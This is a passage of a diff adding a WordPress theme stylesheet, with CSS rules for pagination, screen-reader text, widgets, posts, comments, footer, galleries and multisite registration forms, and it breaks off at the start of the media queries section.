+.pagination .prev:hover,
+.pagination .prev:focus,
+.pagination .next:hover,
+.pagination .next:focus {
+	background-color: #007acc;
+	color: #fff;
+}
+
+.pagination .prev:focus,
+.pagination .next:focus {
+	outline: 0;
+}
+
+.pagination .prev {
+	right: 54px;
+}
+
+.pagination .prev:before {
+	content: "\f430";
+	left: -1px;
+	top: -1px;
+}
+
+.pagination .next {
+	right: 0;
+}
+
+.pagination .next:before {
+	content: "\f429";
+	right: -1px;
+	top: -1px;
+}
+
+.image-navigation,
+.comment-navigation {
+	border-top: 1px solid #d1d1d1;
+	border-bottom: 1px solid #d1d1d1;
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.6153846154;
+	margin: 0 7.6923% 2.1538461538em;
+	padding: 1.0769230769em 0;
+}
+
+.comment-navigation {
+	margin-right: 0;
+	margin-left: 0;
+}
+
+.comments-title + .comment-navigation {
+	border-bottom: 0;
+	margin-bottom: 0;
+}
+
+.image-navigation .nav-previous:not(:empty),
+.image-navigation .nav-next:not(:empty),
+.comment-navigation .nav-previous:not(:empty),
+.comment-navigation .nav-next:not(:empty) {
+	display: inline-block;
+}
+
+.image-navigation .nav-previous:not(:empty) + .nav-next:not(:empty):before,
+.comment-navigation .nav-previous:not(:empty) + .nav-next:not(:empty):before {
+	content: "\002f";
+	display: inline-block;
+	opacity: 0.7;
+	padding: 0 0.538461538em;
+}
+
+
+/**
+ * 7.0 - Accessibility
+ */
+
+/* Text meant only for screen readers */
+.says,
+.screen-reader-text {
+	clip: rect(1px, 1px, 1px, 1px);
+	height: 1px;
+	overflow: hidden;
+	position: absolute !important;
+	width: 1px;
+	/* many screen reader and browser combinations announce broken words as they would appear visually */
+	word-wrap: normal !important;
+}
+
+/* must have higher specificity than alternative color schemes inline styles */
+.site .skip-link {
+	background-color: #f1f1f1;
+	box-shadow: 0 0 1px 1px rgba(0, 0, 0, 0.2);
+	color: #21759b;
+	display: block;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 14px;
+	font-weight: 700;
+	left: -9999em;
+	outline: none;
+	padding: 15px 23px 14px;
+	text-decoration: none;
+	text-transform: none;
+	top: -9999em;
+}
+
+.logged-in .site .skip-link {
+	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.2);
+	font-family: "Open Sans", sans-serif;
+}
+
+.site .skip-link:focus {
+	clip: auto;
+	height: auto;
+	left: 6px;
+	top: 7px;
+	width: auto;
+	z-index: 100000;
+}
+
+
+/**
+ * 8.0 - Alignments
+ */
+
+.alignleft {
+	float: left;
+	margin: 0.375em 1.75em 1.75em 0;
+}
+
+.alignright {
+	float: right;
+	margin: 0.375em 0 1.75em 1.75em;
+}
+
+.aligncenter {
+	clear: both;
+	display: block;
+	margin: 0 auto 1.75em;
+}
+
+blockquote.alignleft {
+	margin: 0.3157894737em 1.4736842105em 1.473684211em 0;
+}
+
+blockquote.alignright {
+	margin: 0.3157894737em 0 1.473684211em 1.4736842105em;
+}
+
+blockquote.aligncenter {
+	margin-bottom: 1.473684211em;
+}
+
+
+/**
+ * 9.0 - Clearings
+ */
+
+.clear:before,
+.clear:after,
+blockquote:before,
+blockquote:after,
+.entry-content:before,
+.entry-content:after,
+.entry-summary:before,
+.entry-summary:after,
+.comment-content:before,
+.comment-content:after,
+.site-content:before,
+.site-content:after,
+.site-main > article:before,
+.site-main > article:after,
+.primary-menu:before,
+.primary-menu:after,
+.social-links-menu:before,
+.social-links-menu:after,
+.textwidget:before,
+.textwidget:after,
+.content-bottom-widgets:before,
+.content-bottom-widgets:after {
+	content: "";
+	display: table;
+}
+
+.clear:after,
+blockquote:after,
+.entry-content:after,
+.entry-summary:after,
+.comment-content:after,
+.site-content:after,
+.site-main > article:after,
+.primary-menu:after,
+.social-links-menu:after,
+.textwidget:after,
+.content-bottom-widgets:after {
+	clear: both;
+}
+
+
+/**
+ * 10.0 - Widgets
+ */
+
+.widget {
+	border-top: 4px solid #1a1a1a;
+	margin-bottom: 3.5em;
+	padding-top: 1.75em;
+}
+
+.widget-area > :last-child,
+.widget > :last-child {
+	margin-bottom: 0;
+}
+
+.widget .widget-title {
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 16px;
+	font-size: 1rem;
+	letter-spacing: 0.046875em;
+	line-height: 1.3125;
+	margin: 0 0 1.75em;
+	text-transform: uppercase;
+}
+
+.widget .widget-title:empty {
+	margin-bottom: 0;
+}
+
+.widget-title a {
+	color: #1a1a1a;
+}
+
+/* Calendar widget */
+.widget.widget_calendar table {
+	margin: 0;
+}
+
+.widget_calendar td,
+.widget_calendar th {
+	line-height: 2.5625;
+	padding: 0;
+	text-align: center;
+}
+
+.widget_calendar caption {
+	font-weight: 900;
+	margin-bottom: 1.75em;
+}
+
+.widget_calendar tbody a {
+	background-color: #007acc;
+	color: #fff;
+	display: block;
+	font-weight: 700;
+}
+
+.widget_calendar tbody a:hover,
+.widget_calendar tbody a:focus {
+	background-color: #686868;
+	color: #fff;
+}
+
+/* Recent Posts widget */
+.widget_recent_entries .post-date {
+	color: #686868;
+	display: block;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.615384615;
+	margin-bottom: 0.538461538em;
+}
+
+.widget_recent_entries li:last-child .post-date {
+	margin-bottom: 0;
+}
+
+/* RSS widget */
+.widget_rss .rsswidget img {
+	margin-top: -0.375em;
+}
+
+.widget_rss .rss-date,
+.widget_rss cite {
+	color: #686868;
+	display: block;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-style: normal;
+	line-height: 1.615384615;
+	margin-bottom: 0.538461538em;
+}
+
+.widget_rss .rssSummary:last-child {
+	margin-bottom: 2.1538461538em;
+}
+
+.widget_rss li:last-child :last-child {
+	margin-bottom: 0;
+}
+
+/* Tag Cloud widget */
+.tagcloud a {
+	border: 1px solid #d1d1d1;
+	border-radius: 2px;
+	display: inline-block;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	line-height: 1;
+	margin: 0 0.1875em 0.4375em 0;
+	padding: 0.5625em 0.4375em 0.5em;
+}
+
+.tagcloud ul {
+	list-style-type: none;
+	margin-left: 0;
+}
+
+.tagcloud ul li {
+	display: inline-block;
+}
+
+.tagcloud a:hover,
+.tagcloud a:focus {
+	border-color: #007acc;
+	color: #007acc;
+	outline: 0;
+}
+
+
+/**
+ * 11.0 - Content
+ */
+
+.site {
+	background-color: #fff;
+}
+
+.site-inner {
+	margin: 0 auto;
+	max-width: 1320px;
+	position: relative;
+}
+
+.site-content {
+	word-wrap: break-word;
+}
+
+/* Do not show the outline on the skip link target. */
+#content[tabindex="-1"]:focus {
+	outline: 0;
+}
+
+.site-main {
+	margin-bottom: 3.5em;
+}
+
+.site-main > :last-child {
+	margin-bottom: 0;
+}
+
+
+/**
+ * 11.1 - Header
+ */
+
+.site-header {
+	padding: 2.625em 7.6923%;
+}
+
+.site-header-main {
+	-webkit-align-items: center;
+	-ms-flex-align: center;
+	align-items: center;
+	display: -webkit-flex;
+	display: -ms-flexbox;
+	display: flex;
+	-webkit-flex-wrap: wrap;
+	-ms-flex-wrap: wrap;
+	flex-wrap: wrap;
+}
+
+.site-branding {
+	margin: 0.875em auto 0.875em 0;
+	/* Avoid overflowing wide custom logo in small screens in Firefox and IEs */
+	max-width: 100%;
+	min-width: 0;
+	overflow: hidden;
+}
+
+.custom-logo-link {
+	display: block;
+}
+
+.custom-logo {
+	max-width: 180px;
+}
+
+.site-title {
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 23px;
+	font-size: 1.4375rem;
+	font-weight: 700;
+	line-height: 1.2173913043;
+	margin: 0;
+}
+
+.site-branding .site-title a {
+	color: #1a1a1a;
+}
+
+.site-branding .site-title a:hover,
+.site-branding .site-title a:focus {
+	color: #007acc;
+}
+
+.wp-custom-logo .site-title {
+	margin-top: 0.608695652em;
+}
+
+.site-description {
+	color: #686868;
+	display: none;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-weight: 400;
+	line-height: 1.0769230769;
+	margin: 0.538461538em 0 0;
+}
+
+.menu-toggle {
+	background-color: transparent;
+	border: 1px solid #d1d1d1;
+	color: #1a1a1a;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	margin: 1.076923077em 0;
+	padding: 0.769230769em;
+}
+
+.no-js .menu-toggle {
+	display: none;
+}
+
+.menu-toggle:hover,
+.menu-toggle:focus {
+	background-color: transparent;
+	border-color: #007acc;
+	color: #007acc;
+}
+
+.menu-toggle.toggled-on,
+.menu-toggle.toggled-on:hover,
+.menu-toggle.toggled-on:focus {
+	background-color: #1a1a1a;
+	border-color: #1a1a1a;
+	color: #fff;
+}
+
+.menu-toggle:focus {
+	outline: 0;
+}
+
+.menu-toggle.toggled-on:focus {
+	outline: thin dotted;
+}
+
+.header-image {
+	clear: both;
+	margin: 0.875em 0;
+}
+
+.header-image a {
+	display: block;
+}
+
+.header-image a:hover img,
+.header-image a:focus img {
+	opacity: 0.85;
+}
+
+/**
+ * 11.2 - Posts and pages
+ */
+
+.site-main > article {
+	margin-bottom: 3.5em;
+	position: relative;
+}
+
+.entry-header,
+.entry-summary,
+.entry-content,
+.entry-footer,
+.page-content {
+	margin-right: 7.6923%;
+	margin-left: 7.6923%;
+}
+
+.entry-title {
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 28px;
+	font-size: 1.75rem;
+	font-weight: 700;
+	line-height: 1.25;
+	margin-bottom: 1em;
+}
+
+.entry-title a {
+	color: #1a1a1a;
+}
+
+.entry-title a:hover,
+.entry-title a:focus {
+	color: #007acc;
+}
+
+.post-thumbnail {
+	display: block;
+	margin: 0 7.6923% 1.75em;
+}
+
+.post-thumbnail img {
+	display: block;
+}
+
+.no-sidebar .post-thumbnail img {
+	margin: 0 auto;
+}
+
+a.post-thumbnail:hover,
+a.post-thumbnail:focus {
+	opacity: 0.85;
+}
+
+.entry-content,
+.entry-summary {
+	border-color: #d1d1d1;
+}
+
+.entry-content h1,
+.entry-summary h1,
+.comment-content h1,
+.textwidget h1 {
+	font-size: 28px;
+	font-size: 1.75rem;
+	line-height: 1.25;
+	margin-top: 2em;
+	margin-bottom: 1em;
+}
+
+.entry-content h2,
+.entry-summary h2,
+.comment-content h2,
+.textwidget h2 {
+	font-size: 23px;
+	font-size: 1.4375rem;
+	line-height: 1.2173913043;
+	margin-top: 2.4347826087em;
+	margin-bottom: 1.2173913043em;
+}
+
+.entry-content h3,
+.entry-summary h3,
+.comment-content h3,
+.textwidget h3 {
+	font-size: 19px;
+	font-size: 1.1875rem;
+	line-height: 1.1052631579;
+	margin-top: 2.9473684211em;
+	margin-bottom: 1.4736842105em;
+}
+
+.entry-content h4,
+.entry-content h5,
+.entry-content h6,
+.entry-summary h4,
+.entry-summary h5,
+.entry-summary h6,
+.comment-content h4,
+.comment-content h5,
+.comment-content h6,
+.textwidget h4,
+.textwidget h5,
+.textwidget h6 {
+	font-size: 16px;
+	font-size: 1rem;
+	line-height: 1.3125;
+	margin-top: 3.5em;
+	margin-bottom: 1.75em;
+}
+
+.entry-content h4,
+.entry-summary h4,
+.comment-content h4,
+.textwidget h4 {
+	letter-spacing: 0.140625em;
+	text-transform: uppercase;
+}
+
+.entry-content h6,
+.entry-summary h6,
+.comment-content h6,
+.textwidget h6 {
+	font-style: italic;
+}
+
+.entry-content h1,
+.entry-content h2,
+.entry-content h3,
+.entry-content h4,
+.entry-content h5,
+.entry-content h6,
+.entry-summary h1,
+.entry-summary h2,
+.entry-summary h3,
+.entry-summary h4,
+.entry-summary h5,
+.entry-summary h6,
+.comment-content h1,
+.comment-content h2,
+.comment-content h3,
+.comment-content h4,
+.comment-content h5,
+.comment-content h6,
+.textwidget h1,
+.textwidget h2,
+.textwidget h3,
+.textwidget h4,
+.textwidget h5,
+.textwidget h6 {
+	font-weight: 900;
+}
+
+.entry-content h1:first-child,
+.entry-content h2:first-child,
+.entry-content h3:first-child,
+.entry-content h4:first-child,
+.entry-content h5:first-child,
+.entry-content h6:first-child,
+.entry-summary h1:first-child,
+.entry-summary h2:first-child,
+.entry-summary h3:first-child,
+.entry-summary h4:first-child,
+.entry-summary h5:first-child,
+.entry-summary h6:first-child,
+.comment-content h1:first-child,
+.comment-content h2:first-child,
+.comment-content h3:first-child,
+.comment-content h4:first-child,
+.comment-content h5:first-child,
+.comment-content h6:first-child,
+.textwidget h1:first-child,
+.textwidget h2:first-child,
+.textwidget h3:first-child,
+.textwidget h4:first-child,
+.textwidget h5:first-child,
+.textwidget h6:first-child {
+	margin-top: 0;
+}
+
+.post-navigation .post-title,
+.entry-title,
+.comments-title {
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+}
+
+body:not(.search-results) .entry-summary {
+	color: #686868;
+	font-size: 19px;
+	font-size: 1.1875rem;
+	line-height: 1.4736842105;
+	margin-bottom: 1.4736842105em;
+}
+
+body:not(.search-results) .entry-header + .entry-summary {
+	margin-top: -0.736842105em;
+}
+
+body:not(.search-results) .entry-summary p,
+body:not(.search-results) .entry-summary address,
+body:not(.search-results) .entry-summary hr,
+body:not(.search-results) .entry-summary ul,
+body:not(.search-results) .entry-summary ol,
+body:not(.search-results) .entry-summary dl,
+body:not(.search-results) .entry-summary dd,
+body:not(.search-results) .entry-summary table {
+	margin-bottom: 1.4736842105em;
+}
+
+body:not(.search-results) .entry-summary li > ul,
+body:not(.search-results) .entry-summary li > ol {
+	margin-bottom: 0;
+}
+
+body:not(.search-results) .entry-summary th,
+body:not(.search-results) .entry-summary td {
+	padding: 0.3684210526em;
+}
+
+body:not(.search-results) .entry-summary fieldset {
+	margin-bottom: 1.4736842105em;
+	padding: 0.3684210526em;
+}
+
+body:not(.search-results) .entry-summary blockquote {
+	border-color: currentColor;
+}
+
+body:not(.search-results) .entry-summary blockquote > :last-child {
+	margin-bottom: 0;
+}
+
+body:not(.search-results) .entry-summary .alignleft {
+	margin: 0.2631578947em 1.4736842105em 1.4736842105em 0;
+}
+
+body:not(.search-results) .entry-summary .alignright {
+	margin: 0.2631578947em 0 1.4736842105em 1.4736842105em;
+}
+
+body:not(.search-results) .entry-summary .aligncenter {
+	margin-bottom: 1.4736842105em;
+}
+
+.entry-content > :last-child,
+.entry-summary > :last-child,
+body:not(.search-results) .entry-summary > :last-child,
+.page-content > :last-child,
+.comment-content > :last-child,
+.textwidget > :last-child {
+	margin-bottom: 0;
+}
+
+.more-link {
+	white-space: nowrap;
+}
+
+.author-info {
+	border-color: inherit;
+	border-style: solid;
+	border-width: 1px 0 1px 0;
+	clear: both;
+	padding-top: 1.75em;
+	padding-bottom: 1.75em;
+}
+
+.author-avatar .avatar {
+	float: left;
+	height: 42px;
+	margin: 0 1.75em 1.75em 0;
+	width: 42px;
+}
+
+.author-description > :last-child {
+	margin-bottom: 0;
+}
+
+.entry-content .author-title {
+	clear: none;
+	font-size: 16px;
+	font-size: 1rem;
+	font-weight: 900;
+	line-height: 1.75;
+	margin: 0;
+}
+
+.author-bio {
+	color: #686868;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.6153846154;
+	margin-bottom: 1.6153846154em;
+	overflow: hidden;
+}
+
+.author-link {
+	white-space: nowrap;
+}
+
+.entry-footer {
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.6153846154;
+	margin-top: 2.1538461538em;
+}
+
+.entry-footer:empty {
+	margin: 0;
+}
+
+.entry-footer a {
+	color: #686868;
+}
+
+.entry-footer a:hover,
+.entry-footer a:focus {
+	color: #007acc;
+}
+
+.entry-footer > span:not(:last-child):after {
+	content: "\002f";
+	display: inline-block;
+	opacity: 0.7;
+	padding: 0 0.538461538em;
+}
+
+.entry-footer .avatar {
+	height: 21px;
+	margin: -0.1538461538em 0.5384615385em 0 0;
+	width: 21px;
+}
+
+.sticky-post {
+	color: #686868;
+	display: block;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	letter-spacing: 0.076923077em;
+	line-height: 1.6153846154;
+	margin-bottom: 0.5384615385em;
+	text-transform: uppercase;
+}
+
+/**
+ * IE8 and earlier will drop any block with CSS3 selectors.
+ * Do not combine these styles with the next block.
+ */
+.updated:not(.published) {
+	display: none;
+}
+
+.sticky .posted-on,
+.byline {
+	display: none;
+}
+
+.single .byline,
+.group-blog .byline {
+	display: inline;
+}
+
+.page-header {
+	border-top: 4px solid #1a1a1a;
+	margin: 0 7.6923% 3.5em;
+	padding-top: 1.75em;
+}
+
+body.error404 .page-header,
+body.search-no-results .page-header {
+	border-top: 0;
+	padding-top: 0;
+}
+
+.page-title {
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 23px;
+	font-size: 1.4375rem;
+	line-height: 1.2173913043;
+}
+
+.taxonomy-description {
+	color: #686868;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.6153846154;
+}
+
+.taxonomy-description p {
+	margin: 0.5384615385em 0 1.6153846154em;
+}
+
+.taxonomy-description > :last-child {
+	margin-bottom: 0;
+}
+
+.page-links {
+	clear: both;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	margin: 0 0 1.75em;
+}
+
+.page-links a,
+.page-links > span {
+	border: 1px solid #d1d1d1;
+	border-radius: 2px;
+	display: inline-block;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	height: 1.8461538462em;
+	line-height: 1.6923076923em;
+	margin-right: 0.3076923077em;
+	text-align: center;
+	width: 1.8461538462em;
+}
+
+.page-links a {
+	background-color: #1a1a1a;
+	border-color: #1a1a1a;
+	color: #fff;
+}
+
+.page-links a:hover,
+.page-links a:focus {
+	background-color: #007acc;
+	border-color: transparent;
+	color: #fff;
+}
+
+.page-links > .page-links-title {
+	border: 0;
+	color: #1a1a1a;
+	height: auto;
+	margin: 0;
+	padding-right: 0.6153846154em;
+	width: auto;
+}
+
+.entry-attachment {
+	margin-bottom: 1.75em;
+}
+
+.entry-caption {
+	color: #686868;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-style: italic;
+	line-height: 1.6153846154;
+	padding-top: 1.0769230769em;
+}
+
+.entry-caption > :last-child {
+	margin-bottom: 0;
+}
+
+.content-bottom-widgets {
+	margin: 0 7.6923%;
+}
+
+.content-bottom-widgets .widget-area {
+	margin-bottom: 3.5em;
+}
+
+
+/**
+ * 11.3 - Post Formats
+ */
+
+.format-aside .entry-title,
+.format-image .entry-title,
+.format-video .entry-title,
+.format-quote .entry-title,
+.format-gallery .entry-title,
+.format-status .entry-title,
+.format-link .entry-title,
+.format-audio .entry-title,
+.format-chat .entry-title {
+	font-size: 19px;
+	font-size: 1.1875rem;
+	line-height: 1.473684211;
+	margin-bottom: 1.473684211em;
+}
+
+.blog .format-status .entry-title,
+.archive .format-status .entry-title {
+	display: none;
+}
+
+
+/**
+ * 11.4 - Comments
+ */
+
+.comments-area {
+	margin: 0 7.6923% 3.5em;
+}
+
+.comment-list + .comment-respond,
+.comment-navigation + .comment-respond {
+	padding-top: 1.75em;
+}
+
+.comments-title,
+.comment-reply-title {
+	border-top: 4px solid #1a1a1a;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 23px;
+	font-size: 1.4375rem;
+	font-weight: 700;
+	line-height: 1.3125;
+	padding-top: 1.217391304em;
+}
+
+.comments-title {
+	margin-bottom: 1.217391304em;
+}
+
+.comment-list {
+	list-style: none;
+	margin: 0;
+}
+
+.comment-list article,
+.comment-list .pingback,
+.comment-list .trackback {
+	border-top: 1px solid #d1d1d1;
+	padding: 1.75em 0;
+}
+
+.comment-list .children {
+	list-style: none;
+	margin: 0;
+}
+
+.comment-list .children > li {
+	padding-left: 0.875em;
+}
+
+.comment-author {
+	color: #1a1a1a;
+	margin-bottom: 0.4375em;
+}
+
+.comment-author .avatar {
+	float: left;
+	height: 28px;
+	margin-right: 0.875em;
+	position: relative;
+	width: 28px;
+}
+
+.bypostauthor > article .fn:after {
+	content: "\f304";
+	left: 3px;
+	position: relative;
+	top: 5px;
+}
+
+.comment-metadata,
+.pingback .edit-link {
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.6153846154;
+}
+
+.comment-metadata {
+	margin-bottom: 2.1538461538em;
+}
+
+.comment-metadata a,
+.pingback .comment-edit-link {
+	color: #686868;
+}
+
+.comment-metadata a:hover,
+.comment-metadata a:focus,
+.pingback .comment-edit-link:hover,
+.pingback .comment-edit-link:focus {
+	color: #007acc;
+}
+
+.comment-metadata .edit-link,
+.pingback .edit-link {
+	display: inline-block;
+}
+
+.comment-metadata .edit-link:before,
+.pingback .edit-link:before {
+	content: "\002f";
+	display: inline-block;
+	opacity: 0.7;
+	padding: 0 0.538461538em;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 0 1.5em 1.25em;
+}
+
+.comment-content li > ul,
+.comment-content li > ol {
+	margin-bottom: 0;
+}
+
+.comment-reply-link {
+	border: 1px solid #d1d1d1;
+	border-radius: 2px;
+	color: #007acc;
+	display: inline-block;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1;
+	margin-top: 2.1538461538em;
+	padding: 0.5384615385em 0.5384615385em 0.4615384615em;
+}
+
+.comment-reply-link:hover,
+.comment-reply-link:focus {
+	border-color: currentColor;
+	color: #007acc;
+	outline: 0;
+}
+
+.comment-form {
+	padding-top: 1.75em;
+}
+
+.comment-form label {
+	color: #686868;
+	display: block;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	letter-spacing: 0.076923077em;
+	line-height: 1.6153846154;
+	margin-bottom: 0.5384615385em;
+	text-transform: uppercase;
+}
+
+.comment-list .comment-form {
+	padding-bottom: 1.75em;
+}
+
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as,
+.form-allowed-tags {
+	color: #686868;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.6153846154;
+	margin-bottom: 2.1538461538em;
+}
+
+.no-comments {
+	border-top: 1px solid #d1d1d1;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-weight: 700;
+	margin: 0;
+	padding-top: 1.75em;
+}
+
+.comment-navigation + .no-comments {
+	border-top: 0;
+	padding-top: 0;
+}
+
+.form-allowed-tags code {
+	font-family: Inconsolata, monospace;
+}
+
+.form-submit {
+	margin-bottom: 0;
+}
+
+.required {
+	color: #007acc;
+	font-family: Merriweather, Georgia, serif;
+}
+
+.comment-reply-title small {
+	font-size: 100%;
+}
+
+.comment-reply-title small a {
+	border: 0;
+	float: right;
+	height: 32px;
+	overflow: hidden;
+	width: 26px;
+}
+
+.comment-reply-title small a:hover,
+.comment-reply-title small a:focus {
+	color: #1a1a1a;
+}
+
+.comment-reply-title small a:before {
+	content: "\f405";
+	font-size: 32px;
+	position: relative;
+	top: -5px;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 10px 0 0;
+}
+
+.comment-form .comment-form-cookies-consent label {
+	display: inline;
+	font-family: Merriweather, Georgia, serif;
+	letter-spacing: 0;
+	text-transform: none;
+}
+
+/**
+ * 11.5 - Sidebar
+ */
+
+.sidebar {
+	margin-bottom: 3.5em;
+	padding: 0 7.6923%;
+}
+
+
+/**
+ * 11.6 - Footer
+ */
+
+.site-footer {
+	padding: 0 7.6923% 1.75em;
+}
+
+.site-info {
+	color: #686868;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	line-height: 1.6153846154;
+}
+
+.site-info a {
+	color: #686868;
+}
+
+.site-info a:hover,
+.site-info a:focus {
+	color: #007acc;
+}
+
+.site-footer .site-title {
+	font-family: inherit;
+	font-size: inherit;
+	font-weight: 400;
+}
+
+.site-footer .site-title:after {
+	content: "\002f";
+	display: inline-block;
+	font-family: Montserrat, sans-serif;
+	opacity: 0.7;
+	padding: 0 0.307692308em 0 0.538461538em;
+}
+
+.site-footer span[role=separator] {
+	font-family: Montserrat, sans-serif;
+	opacity: 0.7;
+	padding: 0 0.307692308em 0 0.538461538em;
+}
+
+.site-footer span[role=separator]::before {
+	content: '\002f';
+}
+
+
+/**
+ * 12.0 - Media
+ */
+
+.site .avatar {
+	border-radius: 50%;
+}
+
+.entry-content .wp-smiley,
+.entry-summary .wp-smiley,
+.comment-content .wp-smiley,
+.textwidget .wp-smiley {
+	border: none;
+	margin-top: 0;
+	margin-bottom: 0;
+	padding: 0;
+}
+
+.entry-content a img,
+.entry-summary a img,
+.comment-content a img,
+.textwidget a img {
+	display: block;
+}
+
+/* Make sure embeds and iframes fit their containers. */
+embed,
+iframe,
+object,
+video {
+	margin-bottom: 1.75em;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+p > embed,
+p > iframe,
+p > object,
+p > video {
+	margin-bottom: 0;
+}
+
+.entry-content .wp-audio-shortcode a,
+.entry-content .wp-playlist a {
+	box-shadow: none;
+}
+
+.wp-audio-shortcode,
+.wp-video,
+.wp-playlist.wp-audio-playlist {
+	margin-top: 0;
+	margin-bottom: 1.75em;
+}
+
+.wp-playlist.wp-audio-playlist {
+	padding-bottom: 0;
+}
+
+.wp-playlist .wp-playlist-tracks {
+	margin-top: 0;
+}
+
+.wp-playlist-item .wp-playlist-caption {
+	border-bottom: 0;
+	padding: 0.7142857143em 0;
+}
+
+.wp-playlist-item .wp-playlist-item-length {
+	top: 0.7142857143em;
+}
+
+
+/**
+ * 12.1 - Captions
+ */
+
+.wp-caption {
+	margin-bottom: 1.75em;
+	max-width: 100%;
+}
+
+.wp-caption img[class*="wp-image-"] {
+	display: block;
+	margin: 0;
+}
+
+.wp-caption .wp-caption-text {
+	color: #686868;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-style: italic;
+	line-height: 1.6153846154;
+	padding-top: 0.5384615385em;
+}
+
+
+/**
+ * 12.2 - Galleries
+ */
+
+.gallery {
+	margin: 0 -1.1666667% 1.75em;
+}
+
+.gallery-item {
+	display: inline-block;
+	max-width: 33.33%;
+	padding: 0 1.1400652% 2.2801304%;
+	text-align: center;
+	vertical-align: top;
+	width: 100%;
+}
+
+.gallery-columns-1 .gallery-item {
+	max-width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 50%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 25%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 20%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 16.66%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 14.28%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 12.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 11.11%;
+}
+
+.gallery-icon img {
+	margin: 0 auto;
+}
+
+.gallery-caption {
+	color: #686868;
+	display: block;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-style: italic;
+	line-height: 1.6153846154;
+	padding-top: 0.5384615385em;
+}
+
+.gallery-columns-6 .gallery-caption,
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 13.0 - Multisites
+ */
+
+.widecolumn {
+	margin-bottom: 3.5em;
+	padding: 0 7.6923%;
+}
+
+.widecolumn .mu_register {
+	width: auto;
+}
+
+.widecolumn .mu_register .mu_alert {
+	background: transparent;
+	border-color: #d1d1d1;
+	color: inherit;
+	margin-bottom: 3.5em;
+	padding: 1.75em;
+}
+
+.widecolumn form,
+.widecolumn .mu_register form {
+	margin-top: 0;
+}
+
+.widecolumn h2 {
+	font-size: 23px;
+	font-size: 1.4375rem;
+	font-weight: 900;
+	line-height: 1.2173913043;
+	margin-bottom: 1.2173913043em;
+}
+
+.widecolumn p {
+	margin: 1.75em 0;
+}
+
+.widecolumn p + h2 {
+	margin-top: 2.4347826087em;
+}
+
+.widecolumn label,
+.widecolumn .mu_register label {
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	font-weight: 400;
+	letter-spacing: 0.076923077em;
+	line-height: 1.6153846154;
+	text-transform: uppercase;
+}
+
+.widecolumn .mu_register label {
+	margin: 2.1538461538em 0.7692307692em 0.5384615385em 0;
+}
+
+.widecolumn .mu_register label strong {
+	font-weight: 400;
+}
+
+.widecolumn #key,
+.widecolumn .mu_register #blog_title,
+.widecolumn .mu_register #user_email,
+.widecolumn .mu_register #blogname,
+.widecolumn .mu_register #user_name {
+	font-size: 16px;
+	font-size: 1rem;
+	width: 100%;
+}
+
+.widecolumn .mu_register #blogname {
+	margin: 0;
+}
+
+.widecolumn .mu_register #blog_title,
+.widecolumn .mu_register #user_email,
+.widecolumn .mu_register #user_name {
+	margin: 0 0 0.375em;
+}
+
+.widecolumn #submit,
+.widecolumn .mu_register input[type="submit"] {
+	font-size: 16px;
+	font-size: 1rem;
+	margin: 0;
+	width: auto;
+}
+
+.widecolumn .mu_register .prefix_address,
+.widecolumn .mu_register .suffix_address {
+	font-size: inherit;
+}
+
+.widecolumn .mu_register > :last-child,
+.widecolumn form > :last-child {
+	margin-bottom: 0;
+}
+
+
+/**
+ * 14.0 - Media Queries
+ */
+
+/**
+ * Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
